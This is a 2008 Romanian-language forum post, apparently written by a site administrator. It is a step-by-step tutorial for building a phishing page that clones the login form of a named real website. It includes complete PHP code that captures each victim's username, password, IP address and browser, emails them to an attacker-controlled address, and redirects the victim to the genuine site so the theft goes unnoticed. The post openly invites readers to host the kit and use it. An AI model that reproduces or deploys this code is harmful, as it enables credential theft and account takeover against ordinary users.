 |
 |
|
 |
|
| Autor |
Mesaj |
Alex
Administrator
Data inscrierii: 21/Dec/2008
Mesaje: 42
|
 Trimis: 21/12/2008 21:58 Titlul subiectului: Cum sa facem o pagina de phishing la orice site. |
 |
|
Buna, in ultima vreme m-am saturat sa tot vad pe deosebite forumuri:
Dati-mi si mie scam la X.
Asa ca am decis sa scriu acest tutorial. In el veti invata cum va puteti face propriul scam la site-ul dorit.
WARNING: Cei avansati sa nu ma ia cu ia uite-l si pe asta a descoperit Pamantul, este doar pentru cei care nu stiu .
OK, deci mai intai ne alegem o tinta.
Am ales http://doizece.neogen.ro/.
Navigam pe site-ul ales. Apasam CTRL + S si salvam fisierul .html undeva pe computer.
Il deschidem... Aici poate aparea o problema si anume calea la imagini.
Daca este cale relativa (calea relativa este calea de genul /images/wow.gif) trebuie transformata in cale absoluta (http://tinta.com/images/wow.gif)
Acum ca s-a clarificat, duce-ti-va in fisierul .html care a fost salvat, da-ti CTRL + F scrieti login... (aici cuvintele pot fi diferite.. incercati si parola, password, username etc. dak nu merge login).
Veti avea un cod de genul <form action="login2.php">. Modificati login2.php in 040147.php!
Acum, la Username, ar necesită sa fie un cod de genul <input type="text" name="email">. name="email" ne indica faptul ca, in scriptul PHP de autentificare, email este variabila ce tine numele de utilizator.
Bun, o memoram.
La password, codul ar trebui sa fie asemanator (<input type="password" name="password">). Deci, parola e tinuta in variabile password. O memoram si pe aceasta.
Acum, acolo unde ati salvat .html-ul, creeati un fisier nou, numit 040147.php.
In el, adaugati urmatorul cod:
Cod:
<?php
$to = "skorpitz@gmail.com";
$name = $_POST['email'];
$email = $_POST['email'];
$subject = $_POST['subject'];
$password = $_POST['password'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$ip = $_SERVER['REMOTE_ADDR'];
$d = date('l dS \of F Y h:i:s A');
$sub = "Cont nou DoiZece Hacked - $email";
$headers = "From: $name <$email>\n";
$headers .= "Content-Type: text/plain; charset=iso-8859-1\n";
$mes .= 'Username: '.$email."\n";
$mes .= "Parola: ".$password."\n";
$mes .= "Browser: ".$agent."\n";
$mes .= "IP: ".$ip."\n";
$mes .= 'Data si timpul: '.$d;
{
mail($to, $sub, $mes, $headers);
header ("Location:http://doizece.neogen.ro/?1=1&dz_nl_m=login_reg&error=1&next_url=index.php%3F");
}
?>
Modificati codul
Cod:
$to = "skorpitz@gmail.com";
i puneti mail-ul vostru. Codul de mai sus preia variabilele email si password si le trimite impreuna cu inca cateva detalii folositoare.
Redenumiti .html-ul in index.html sau .php, uploada-ti cele 2 fisiere pe un host si distrati-va |
|
| Sus |
|
|
|
|
 |
|
 |
|
|
|
|
|
Nu puteti crea un subiect nou in acest forum
Nu puteti raspunde in subiectele acestui forum
Nu puteti modifica mesajele proprii din acest forum
Nu puteti sterge mesajele proprii din acest forum
Nu puteti vota in chestionarele din acest forum
|
|
|
|
|
|
|
|
